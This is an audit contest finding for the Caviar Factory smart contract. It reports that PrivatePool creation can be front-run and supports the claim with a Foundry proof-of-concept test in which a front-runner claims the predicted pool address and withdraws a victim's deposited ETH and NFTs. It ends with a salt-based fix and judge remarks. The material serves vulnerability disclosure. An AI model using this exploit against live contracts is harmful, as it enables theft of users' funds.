PrivatePool creation can be front-run

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L71-L125

Vulnerability details

Impact

The creation of a PrivatePool using the Factory contract's create method can be front-run by anyone.
This is a simple griefing attack with no funds at immediate risk if the user who wanted to create the pool notices that the transaction has failed.
If the user fails to recognize the failed transaction and proceeds to deposit funds into the PrivatePool, which was created by the front-runner but the user believes it's his, the funds can be withdrawn only by the front-runner.
So, best-case of this vulnerability is griefing (gas loss for user) and worst-case is loss of funds.

Proof of Concept

The following PoC demonstrates the front-running of a PrivatePool creation with a subsequent deposit of ETH and NFTs by the "orignial" creator. Later on, these funds are withdrawn/stolen from the pool by the front-runner.

First, fix the setUp method in test/Factory/Create.t.sol by moving the line factory = new Factory(); above the construction of the PrivatePool implementation contract. This ensures that the pool ownership checking works correctly.

Second, add the follwing test case to test/Factory/Create.t.sol and run it:

// based on test_MintsNftToCaller
function test_FrontRunCreate() public {
    // predict pool address
    PrivatePool privatePool = PrivatePool(
        payable(factory.predictPoolDeploymentAddress(salt))
    );

    // front-run pool creation
    address frontrunner = address(0x123);
    vm.startPrank(frontrunner);
    factory.create(
        baseToken,
        address(milady),
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        false,
        salt,
        tokenIds /* empty */,
        0
    );
    vm.stopPrank();

    // "normal" pool creation and deposit funds
    vm.expectRevert(LibClone.DeploymentFailed.selector);
    factory.create(
        baseToken,
        address(milady),
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        false,
        salt,
        tokenIds /* empty */,
        0
    );

    tokenIds.push(1);
    tokenIds.push(2);
    tokenIds.push(3);
    milady.setApprovalForAll(address(privatePool), true);
    privatePool.deposit{value: baseTokenAmount}(tokenIds, baseTokenAmount);

    // steal deposited funds by front-runner
    vm.startPrank(frontrunner);
    privatePool.withdraw(
        address(milady),
        tokenIds,
        baseToken,
        baseTokenAmount
    );
    vm.stopPrank();

    // assert
    assertEq(
        factory.ownerOf(uint256(uint160(address(privatePool)))),
        frontrunner,
        "Should have minted NFT to the front-runner"
    );
    assertEq(
        frontrunner.balance,
        baseTokenAmount,
        "Should have been withdrawn to front-runner"
    );
}

Log:

Running 1 test for test/Factory/Create.t.sol:CreateTest
[PASS] test_FrontRunCreate() (gas: 8937393460516988494)
Test result: ok. 1 passed; 0 failed; finished in 6.28ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Incorporate the msg.sender into the contract creation salt, e.g. bytes32 newSalt = keccak256(abi.encodePacked(salt, msg.sender)); and use it in the create and predictPoolDeploymentAddress methods of the Factory contract.
This way, an attacker cannot create a PrivatePool at the same address as another user.

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #419

[c4-judge]

GalloDaSballo marked the issue as satisfactory